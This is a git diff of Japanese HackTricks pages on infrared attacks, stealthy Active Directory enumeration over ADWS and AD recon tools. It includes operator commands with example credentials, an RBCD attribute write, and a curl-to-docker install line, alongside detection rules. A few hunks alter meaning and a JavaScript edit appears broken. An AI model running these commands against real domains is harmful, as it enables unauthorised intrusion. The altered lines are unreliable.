@ -773,7 +775,7 @@ DocumentBuilder builder = dbf.newDocumentBuilder();
|
||||
|
||||
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
|
||||
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
|
||||
- 自分の外部DTDを使用してHTTP経由で情報を抽出する: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
|
||||
- HTTPを介して独自の外部DTDを使用して情報を抽出: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
|
||||
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
|
||||
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## 赤外線の仕組み <a href="#how-the-infrared-port-works" id="how-the-infrared-port-works"></a>
|
||||
|
||||
**赤外線は人間には見えません**。IRの波長は**0.7から1000ミクロン**です。家庭用リモコンはデータ伝送にIR信号を使用し、波長範囲は0.75..1.4ミクロンです。リモコン内のマイクロコントローラーは、特定の周波数で赤外線LEDを点滅させ、デジタル信号をIR信号に変換します。
|
||||
**赤外線は人間には見えません**。IRの波長は**0.7から1000ミクロン**です。家庭用リモコンはデータ伝送にIR信号を使用し、波長範囲は0.75..1.4ミクロンです。リモコン内のマイクロコントローラーが特定の周波数で赤外線LEDを点滅させ、デジタル信号をIR信号に変換します。
|
||||
|
||||
IR信号を受信するために**フォトレシーバー**が使用されます。これは**IR光を電圧パルスに変換**し、すでに**デジタル信号**となります。通常、受信機内には**ダークライトフィルター**があり、**望ましい波長のみを通過させ**、ノイズをカットします。
|
||||
IR信号を受信するために**フォトレシーバー**が使用されます。これは**IR光を電圧パルスに変換**し、すでに**デジタル信号**です。通常、受信機内には**ダークライトフィルター**があり、**望ましい波長のみを通過させ**、ノイズをカットします。
|
||||
|
||||
### IRプロトコルの多様性 <a href="#variety-of-ir-protocols" id="variety-of-ir-protocols"></a>
|
||||
|
||||
@ -14,13 +14,13 @@ IRプロトコルは3つの要素で異なります:
|
||||
|
||||
- ビットエンコーディング
|
||||
- データ構造
|
||||
- キャリア周波数 — 通常36..38 kHzの範囲
|
||||
- キャリア周波数 — 通常は36..38 kHzの範囲
|
||||
|
||||
#### ビットエンコーディングの方法 <a href="#bit-encoding-ways" id="bit-encoding-ways"></a>
|
||||
|
||||
**1. パルス間隔エンコーディング**
|
||||
|
||||
ビットはパルス間の間隔の持続時間を変調することでエンコードされます。パルス自体の幅は一定です。
|
||||
ビットはパルス間の間隔の持続時間を変調することによってエンコードされます。パルス自体の幅は一定です。
|
||||
|
||||
<figure><img src="../../images/image (295).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -32,16 +32,16 @@ IRプロトコルは3つの要素で異なります:
|
||||
|
||||
**3. 位相エンコーディング**
|
||||
|
||||
これはマンチェスターエンコーディングとも呼ばれます。論理値はパルスバーストと間隔の間の遷移の極性によって定義されます。「間隔からパルスバースト」は論理「0」を示し、「パルスバーストから間隔」は論理「1」を示します。
|
||||
これはマンチェスターエンコーディングとしても知られています。論理値はパルスバーストと間隔の間の遷移の極性によって定義されます。「間隔からパルスバースト」は論理「0」を示し、「パルスバーストから間隔」は論理「1」を示します。
|
||||
|
||||
<figure><img src="../../images/image (634).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**4. 前述のものと他のエキゾチックな組み合わせ**
|
||||
|
||||
> [!TIP]
|
||||
> いくつかのデバイスのために**普遍的になろうとしている**IRプロトコルがあります。最も有名なものはRC5とNECです。残念ながら、最も有名であることは最も一般的であることを意味しません。私の環境では、NECリモコンを2つしか見かけず、RC5のものはありませんでした。
|
||||
> いくつかのデバイスのために**普遍的になろうとしている**IRプロトコルがあります。最も有名なものはRC5とNECです。残念ながら、最も有名であることは**最も一般的であることを意味しません**。私の環境では、NECリモコンを2つしか見かけず、RC5のものはありませんでした。
|
||||
>
|
||||
> メーカーは、同じ範囲のデバイス内でも独自のユニークなIRプロトコルを使用するのが好きです(例えば、テレビボックス)。したがって、異なる会社のリモコンや、同じ会社の異なるモデルのリモコンは、同じタイプの他のデバイスと連携できないことがあります。
|
||||
> メーカーは、同じ範囲のデバイス内でも独自のユニークなIRプロトコルを使用することを好みます(例えば、TVボックス)。したがって、異なる会社のリモコンや、同じ会社の異なるモデルのリモコンは、同じタイプの他のデバイスと連携できないことがあります。
|
||||
|
||||
### IR信号の探索
|
||||
|
||||
@ -53,7 +53,7 @@ IRプロトコルは3つの要素で異なります:
|
||||
|
||||
次にデータが送信されます。構造、プレアンブル、およびビットエンコーディング方法は特定のプロトコルによって決まります。
|
||||
|
||||
**NEC IRプロトコル**は、短いコマンドとリピートコードを含み、ボタンが押されている間に送信されます。コマンドとリピートコードの両方は、最初に同じプレアンブルを持っています。
|
||||
**NEC IRプロトコル**は短いコマンドとリピートコードを含み、ボタンが押されている間に送信されます。コマンドとリピートコードの両方は、最初に同じプレアンブルを持っています。
|
||||
|
||||
NECの**コマンド**は、プレアンブルに加えて、デバイスが何を実行する必要があるかを理解するためのアドレスバイトとコマンド番号バイトで構成されています。アドレスとコマンド番号バイトは、伝送の整合性を確認するために逆の値で複製されます。コマンドの最後には追加のストップビットがあります。
|
||||
|
||||
@ -64,7 +64,7 @@ NECの**コマンド**は、プレアンブルに加えて、デバイスが何
|
||||
### エアコン
|
||||
|
||||
他のリモコンとは異なり、**エアコンは押されたボタンのコードだけを送信しません**。ボタンが押されると、**すべての情報を送信**して、**エアコンとリモコンが同期していることを確認します**。\
|
||||
これにより、20ºCに設定された機械が1つのリモコンで21ºCに上昇し、次に温度が20ºCの別のリモコンを使用してさらに温度を上げると、21ºCに「上昇」することを避けることができます(21ºCにいると思って22ºCにはならない)。
|
||||
これにより、20ºCに設定された機械が1つのリモコンで21ºCに上昇し、別のリモコンが20ºCのままで温度をさらに上げると、21ºCに「上昇」することを避けることができます(21ºCにいると思って22ºCにはならない)。
|
||||
|
||||
---
|
||||
|
||||
@ -78,21 +78,21 @@ flipper-zero/fz-infrared.md
|
||||
|
||||
### スマートTV / セットトップボックスの乗っ取り (EvilScreen)
|
||||
|
||||
最近の学術研究(EvilScreen, 2022)は、**赤外線とBluetoothまたはWi-Fiを組み合わせたマルチチャネルリモコンが、現代のスマートTVを完全に乗っ取るために悪用される可能性があることを示しました**。攻撃は高特権のIRサービスコードを認証されたBluetoothパケットと組み合わせ、チャネルの隔離をバイパスし、任意のアプリの起動、マイクのアクティベーション、または物理的アクセスなしでの工場出荷時リセットを可能にします。サムスンモデルを含む8つの主要なテレビが脆弱であることが確認されました。緩和策には、ベンダーのファームウェア修正または未使用のIR受信機の完全な無効化が必要です。
|
||||
最近の学術研究(EvilScreen, 2022)は、**赤外線とBluetoothまたはWi-Fiを組み合わせたマルチチャネルリモコンが、現代のスマートTVを完全にハイジャックするために悪用される可能性があることを示しました**。この攻撃は、高特権のIRサービスコードを認証されたBluetoothパケットと組み合わせ、チャネルの分離をバイパスし、任意のアプリの起動、マイクのアクティベーション、または物理的アクセスなしでの工場出荷時リセットを可能にします。サムスンモデルを含む8つの主要なテレビが確認され、ISO/IEC 27001準拠を主張していますが、脆弱性が確認されました。緩和策には、ベンダーのファームウェア修正または未使用のIR受信機の完全な無効化が必要です。
|
||||
|
||||
### IR LEDを介したエアギャップデータの抽出 (aIR-Jumperファミリー)
|
||||
|
||||
セキュリティカメラ、ルーター、または悪意のあるUSBスティックには、しばしば**ナイトビジョンIR LED**が含まれています。研究によると、マルウェアはこれらのLEDを変調して(<10–20 kbit/sで単純なOOK)、**壁や窓を通じて秘密を外部カメラに抽出**することができます。光は可視スペクトルの外にあるため、オペレーターはほとんど気づきません。対策:
|
||||
セキュリティカメラ、ルーター、または悪意のあるUSBスティックには、しばしば**ナイトビジョンIR LED**が含まれています。研究によると、マルウェアはこれらのLEDを変調(<10–20 kbit/sの単純なOOK)して、**壁や窓を通じて秘密を外部カメラに抽出**することができます。光は可視スペクトルの外にあるため、オペレーターはほとんど気づきません。対策:
|
||||
|
||||
* 敏感なエリアのIR LEDを物理的に遮蔽または取り外す
|
||||
* 敏感なエリアでIR LEDを物理的に遮蔽または取り外す
|
||||
* カメラのLEDデューティサイクルとファームウェアの整合性を監視する
|
||||
* 窓や監視カメラにIRカットフィルターを展開する
|
||||
|
||||
攻撃者はまた、強力なIRプロジェクターを使用して、**コマンドをネットワークに侵入**させるためにデータを不正なカメラにフラッシュすることができます。
|
||||
攻撃者は、強力なIRプロジェクターを使用して、**コマンドをネットワークに侵入**させるために、データを不正なカメラにフラッシュすることもできます。
|
||||
|
||||
### Flipper Zero 1.0による長距離ブルートフォースと拡張プロトコル
|
||||
|
||||
ファームウェア1.0(2024年9月)は、**数十の追加IRプロトコルとオプションの外部アンプモジュール**を追加しました。ユニバーサルリモートのブルートフォースモードと組み合わせることで、Flipperは高出力ダイオードを使用して最大30mの距離からほとんどの公共のテレビ/エアコンを無効にしたり再構成したりできます。
|
||||
ファームウェア1.0(2024年9月)は、**数十の追加IRプロトコルとオプションの外部アンプモジュール**を追加しました。ユニバーサルリモコンのブルートフォースモードと組み合わせることで、Flipperは高出力ダイオードを使用して、最大30mの距離からほとんどの公共のテレビ/エアコンを無効にしたり再構成したりできます。
|
||||
|
||||
---
|
||||
|
||||
@ -101,7 +101,7 @@ flipper-zero/fz-infrared.md
|
||||
### ハードウェア
|
||||
|
||||
* **Flipper Zero** – 学習、リプレイ、辞書ブルートフォースモードを持つポータブルトランシーバー(上記参照)。
|
||||
* **Arduino / ESP32** + IR LED / TSOP38xx受信機 – 安価なDIYアナライザー/送信機。`Arduino-IRremote`ライブラリと組み合わせる(v4.xは>40プロトコルをサポート)。
|
||||
* **Arduino / ESP32** + IR LED / TSOP38xx受信機 – 安価なDIYアナライザー/トランスミッター。`Arduino-IRremote`ライブラリと組み合わせる(v4.xは>40プロトコルをサポート)。
|
||||
* **ロジックアナライザー**(Saleae/FX2) – プロトコルが不明な場合に生のタイミングをキャプチャ。
|
||||
* **IRブラスターを搭載したスマートフォン**(例:Xiaomi) – 短時間のフィールドテストだが範囲が限られる。
|
||||
|
||||
@ -128,10 +128,10 @@ irsend SEND_ONCE samsung KEY_POWER
|
||||
|
||||
## 防御策 <a href="#defense" id="defense"></a>
|
||||
|
||||
* 必要ない場合は公共の場に展開されたデバイスのIR受信機を無効にするか、覆う。
|
||||
* スマートTVとリモコン間で*ペアリング*または暗号チェックを強制し、特権の「サービス」コードを隔離する。
|
||||
* 機密エリアの周囲にIRカットフィルターまたは連続波検出器を展開して、光学的な隠密チャネルを破る。
|
||||
* 制御可能なIR LEDを露出させるカメラ/IoT機器のファームウェアの整合性を監視する。
|
||||
* 必要ない場合は公共の場に展開されたデバイスのIR受信機を無効にするか覆う。
|
||||
* スマートTVとリモコン間で*ペアリング*または暗号チェックを強制し、特権のある「サービス」コードを隔離する。
|
||||
* 機密エリアの周囲にIRカットフィルターまたは連続波検出器を展開して、光学的なコバートチャネルを破る。
|
||||
* 制御可能なIR LEDを露出させるカメラ/IoT機器のファームウェア整合性を監視する。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -8,13 +8,13 @@ Active Directory Web Services (ADWS)は、**Windows Server 2008 R2以降のす
|
||||
|
||||
* MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
|
||||
|
||||
トラフィックはこれらのバイナリSOAPフレーム内にカプセル化され、一般的でないポートを通過するため、**ADWSを介した列挙は、従来のLDAP/389および636トラフィックよりも検査、フィルタリング、または署名される可能性がはるかに低い**です。オペレーターにとって、これは意味します:
|
||||
トラフィックはこれらのバイナリSOAPフレーム内にカプセル化され、一般的でないポートを通過するため、**ADWSを通じた列挙は、従来のLDAP/389および636トラフィックよりも検査、フィルタリング、または署名される可能性がはるかに低い**です。オペレーターにとって、これは意味します:
|
||||
|
||||
* ステルスな偵察 – ブルーチームはしばしばLDAPクエリに集中します。
|
||||
* **非Windowsホスト(Linux、macOS)**から9389/TCPをSOCKSプロキシを介してトンネリングする自由。
|
||||
* **非Windowsホスト(Linux、macOS)**から9389/TCPをSOCKSプロキシを通じてトンネリングする自由。
|
||||
* LDAPを介して取得するのと同じデータ(ユーザー、グループ、ACL、スキーマなど)と、**書き込み**を行う能力(例:**RBCD**のための`msDs-AllowedToActOnBehalfOfOtherIdentity`)。
|
||||
|
||||
> 注:ADWSは多くのRSAT GUI/PowerShellツールでも使用されるため、トラフィックは正当な管理者の活動と混在する可能性があります。
|
||||
> 注:ADWSは多くのRSAT GUI/PowerShellツールでも使用されているため、トラフィックは正当な管理者の活動と混在する可能性があります。
|
||||
|
||||
## SoaPy – ネイティブPythonクライアント
|
||||
|
||||
@ -52,11 +52,11 @@ soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
|
||||
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
|
||||
| tee data/adcs.log
|
||||
```
|
||||
4. **BloodHoundに変換:**
|
||||
4. **BloodHoundに変換する:**
|
||||
```bash
|
||||
bofhound -i data --zip # produces BloodHound.zip
|
||||
```
|
||||
5. **ZIPをアップロード**し、BloodHound GUIで`MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c`のようなサイファークエリを実行して、証明書昇格パス(ESC1、ESC8など)を明らかにします。
|
||||
5. **ZIPをBloodHound GUIにアップロード**し、`MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c`のようなサイファークエリを実行して、証明書昇格パス(ESC1、ESC8など)を明らかにします。
|
||||
|
||||
### `msDs-AllowedToActOnBehalfOfOtherIdentity` (RBCD)の記述
|
||||
```bash
|
||||
@ -70,13 +70,13 @@ msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
|
||||
|
||||
### 詳細なADDSログ記録
|
||||
|
||||
ドメインコントローラーで、ADWS(およびLDAP)からの高コスト/非効率的な検索を明らかにするために、次のレジストリキーを有効にします:
|
||||
ドメインコントローラーで以下のレジストリキーを有効にして、ADWS(およびLDAP)からの高コスト/非効率的な検索を明らかにします:
|
||||
```powershell
|
||||
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value 5 -Type DWORD
|
||||
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value 1 -Type DWORD
|
||||
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Search Time Threshold (msecs)' -Value 0 -Type DWORD
|
||||
```
|
||||
イベントは**Directory-Service**の下に表示され、完全なLDAPフィルターが表示されます。クエリがADWS経由で到着した場合でも同様です。
|
||||
イベントは**Directory-Service**の下に表示され、完全なLDAPフィルターが適用されます。クエリがADWS経由で到着した場合でも同様です。
|
||||
|
||||
### SACLカナリアオブジェクト
|
||||
|
||||
@ -84,7 +84,7 @@ New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters'
|
||||
2. _Everyone_ プリンシパルに対して**Audit** ACEを追加し、**ReadProperty**で監査します。
|
||||
3. 攻撃者が`(servicePrincipalName=*)`、`(objectClass=user)`などを実行するたびに、DCは**Event 4662**を発行し、実際のユーザーSIDを含みます。リクエストがプロキシされている場合やADWSから発信されている場合でも同様です。
|
||||
|
||||
Elasticの事前構築されたルールの例:
|
||||
Elasticの事前構築ルールの例:
|
||||
```kql
|
||||
(event.code:4662 and not user.id:"S-1-5-18") and winlog.event_data.AccessMask:"0x10"
|
||||
```
|
||||
@ -92,15 +92,15 @@ Elasticの事前構築されたルールの例:
|
||||
|
||||
| 目的 | ツール | ノート |
|
||||
|------|-------|-------|
|
||||
| ADWS 列挙 | [SoaPy](https://github.com/logangoins/soapy) | Python, SOCKS, 読み書き |
|
||||
| BloodHound 取り込み | [BOFHound](https://github.com/bohops/BOFHound) | SoaPy/ldapsearch ログを変換 |
|
||||
| 証明書の妥協 | [Certipy](https://github.com/ly4k/Certipy) | 同じ SOCKS 経由でプロキシ可能 |
|
||||
| ADWS列挙 | [SoaPy](https://github.com/logangoins/soapy) | Python, SOCKS, 読み書き |
|
||||
| BloodHound取り込み | [BOFHound](https://github.com/bohops/BOFHound) | SoaPy/ldapsearchログを変換 |
|
||||
| 証明書の妥協 | [Certipy](https://github.com/ly4k/Certipy) | 同じSOCKSを通じてプロキシ可能 |
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [SpecterOps – SOAP(y) を使用することを確認してください – ADWS を使用したステルスな AD コレクションのためのオペレーターガイド](https://specterops.io/blog/2025/07/25/make-sure-to-use-soapy-an-operators-guide-to-stealthy-ad-collection-using-adws/)
|
||||
* [SpecterOps – Make Sure to Use SOAP(y) – An Operators Guide to Stealthy AD Collection Using ADWS](https://specterops.io/blog/2025/07/25/make-sure-to-use-soapy-an-operators-guide-to-stealthy-ad-collection-using-adws/)
|
||||
* [SoaPy GitHub](https://github.com/logangoins/soapy)
|
||||
* [BOFHound GitHub](https://github.com/bohops/BOFHound)
|
||||
* [Microsoft – MC-NBFX, MC-NBFSE, MS-NNS, MC-NMF 仕様](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nbfx/)
|
||||
* [Microsoft – MC-NBFX, MC-NBFSE, MS-NNS, MC-NMF specifications](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nbfx/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -37,7 +37,7 @@ PS C:\> .\ADRecon.ps1 -OutputDir C:\Temp\ADRecon
|
||||
|
||||
## BloodHound (グラフ視覚化)
|
||||
|
||||
[BloodHound](https://github.com/BloodHoundAD/BloodHound) は、グラフ理論 + Neo4j を使用して、オンプレミスの AD と Azure AD 内の隠れた特権関係を明らかにします。
|
||||
[BloodHound](https://github.com/BloodHoundAD/BloodHound) は、グラフ理論 + Neo4j を使用して、オンプレミスの AD および Azure AD 内の隠れた特権関係を明らかにします。
|
||||
|
||||
### デプロイメント (Docker CE)
|
||||
```bash
|
||||
@ -48,7 +48,7 @@ curl -L https://ghst.ly/getbhce | docker compose -f - up
|
||||
|
||||
* `SharpHound.exe` / `Invoke-BloodHound` – ネイティブまたはPowerShellバリアント
|
||||
* `AzureHound` – Azure AD列挙
|
||||
* **SoaPy + BOFHound** – ADWSコレクション(リンクは上部を参照)
|
||||
* **SoaPy + BOFHound** – ADWSコレクション(リンクは上部参照)
|
||||
|
||||
#### 一般的なSharpHoundモード
|
||||
```powershell
|
||||
@ -62,7 +62,7 @@ SharpHound.exe --Stealth --LDAP # Low noise LDAP only
|
||||
|
||||
## Group3r
|
||||
|
||||
[Group3r](https://github.com/Group3r/Group3r) は **Group Policy Objects** を列挙し、誤設定を強調表示します。
|
||||
[Group3r](https://github.com/Group3r/Group3r) は**グループポリシーオブジェクト**を列挙し、誤設定を強調表示します。
|
||||
```bash
|
||||
# Execute inside the domain
|
||||
Group3r.exe -f gpo.log # -s to stdout
|
||||
@ -71,7 +71,7 @@ Group3r.exe -f gpo.log # -s to stdout
|
||||
|
||||
## PingCastle
|
||||
|
||||
[PingCastle](https://www.pingcastle.com/documentation/) は、Active Directory の**ヘルスチェック**を実行し、リスクスコアを含む HTML レポートを生成します。
|
||||
[PingCastle](https://www.pingcastle.com/documentation/) は、Active Directory の **ヘルスチェック** を実行し、リスクスコアを含む HTML レポートを生成します。
|
||||
```powershell
|
||||
PingCastle.exe --healthcheck --server corp.local --user bob --password "P@ssw0rd!"
|
||||
```
|
||||
|
24
theme/ai.js
24
theme/ai.js
@ -1,6 +1,6 @@
|
||||
/**
|
||||
* HackTricks Training Discounts
|
||||
*/
|
||||
|
||||
|
||||
|
||||
(() => {
|
||||
@ -9,13 +9,13 @@
|
||||
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
||||
const URL = 'https://training.hacktricks.xyz';
|
||||
|
||||
/* Stop if user already dismissed */
|
||||
// Stop if user already dismissed
|
||||
if (localStorage.getItem(KEY) === 'true') return;
|
||||
|
||||
/* Quick helper */
|
||||
// Quick helper
|
||||
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
|
||||
|
||||
/* --- Overlay (blur + dim) --- */
|
||||
// --- Overlay (blur + dim) ---
|
||||
const overlay = $('div', `
|
||||
position: fixed; inset: 0;
|
||||
background: rgba(0,0,0,.4);
|
||||
@ -24,7 +24,7 @@
|
||||
z-index: 10000;
|
||||
`);
|
||||
|
||||
/* --- Modal --- */
|
||||
// --- Modal ---
|
||||
const modal = $('div', `
|
||||
max-width: 90vw; width: 480px;
|
||||
background: #fff; border-radius: 12px; overflow: hidden;
|
||||
@ -33,10 +33,10 @@
|
||||
display: flex; flex-direction: column; align-items: stretch;
|
||||
`);
|
||||
|
||||
/* --- Title bar (link + close) --- */
|
||||
// --- Title bar (link + close) ---
|
||||
const titleBar = $('div', `
|
||||
position: relative;
|
||||
padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
|
||||
padding: 1rem 2.5rem 1rem 1rem; // room for the close button
|
||||
text-align: center;
|
||||
background: #222; color: #fff;
|
||||
font-size: 1.3rem; font-weight: 700;
|
||||
@ -53,7 +53,7 @@
|
||||
link.textContent = TXT;
|
||||
titleBar.appendChild(link);
|
||||
|
||||
/* Close "X" (no persistence) */
|
||||
// Close "X" (no persistence)
|
||||
const closeBtn = $('button', `
|
||||
position: absolute; top: .25rem; right: .5rem;
|
||||
background: transparent; border: none;
|
||||
@ -65,11 +65,11 @@
|
||||
closeBtn.onclick = () => overlay.remove();
|
||||
titleBar.appendChild(closeBtn);
|
||||
|
||||
/* --- Image --- */
|
||||
// --- Image ---
|
||||
const img = $('img');
|
||||
img.src = IMG; img.alt = TXT; img.style.width = '100%';
|
||||
|
||||
/* --- Checkbox row --- */
|
||||
// --- Checkbox row ---
|
||||
const label = $('label', `
|
||||
display: flex; align-items: center; justify-content: center; gap: .6rem;
|
||||
padding: 1rem; font-size: 1rem; color: #222; cursor: pointer;
|
||||
@ -83,7 +83,7 @@
|
||||
};
|
||||
label.append(cb, document.createTextNode("Don't show again"));
|
||||
|
||||
/* --- Assemble & inject --- */
|
||||
// --- Assemble & inject ---
|
||||
modal.append(titleBar, img, label);
|
||||
overlay.appendChild(modal);
|
||||
|
||||
@ -93,7 +93,7 @@
|
||||
document.body.appendChild(overlay);
|
||||
}
|
||||
})();
|
||||
|
||||
*/
|
||||
|
||||
|
||||
/**
|
||||
|
Loading…
x
Reference in New Issue
Block a user